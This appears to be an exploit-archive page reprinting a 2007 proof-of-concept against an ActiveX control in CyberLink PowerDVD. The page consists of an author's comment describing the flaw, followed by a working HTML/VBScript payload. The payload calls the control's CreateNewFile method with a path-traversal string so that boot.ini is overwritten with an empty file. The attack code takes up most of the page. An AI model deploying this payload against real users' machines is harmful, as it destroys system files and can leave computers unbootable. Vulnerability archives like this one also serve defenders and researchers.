CyberLink PowerDVD CreateNewFile Arbitrary Remote Rewrite DoS

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : CyberLink PowerDVD CreateNewFile Arbitrary Remote Rewrite DoS
# Published : 2007-10-01
# Author : rgod
# Previous Title : wzdftpd <= 0.8.0 (USER) Remote Denial of Service Exploit
# Next Title : Sun jre1.6.0_X isInstalled.dnsResolve Function Overflow PoC

<!--
CyberLink PowerDVD CLAVSetting Module (CLAVSetting.DLL 1.00.1829) arbitrary remote rewrite dos

this is installed by default on Acer Travelmate series
allows to overwrite files with an empty one
extension doesn't matter

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller

rgod
-->
<html>
<object classid='clsid:0990EDE2-3498-43D0-971D-D5321C893210' id='CLSetting' /></object>
<script language='vbscript'>
CLSetting.CreateNewFile "................boot.ini"
</script>
</html>

# www.Syue.com [2007-10-01]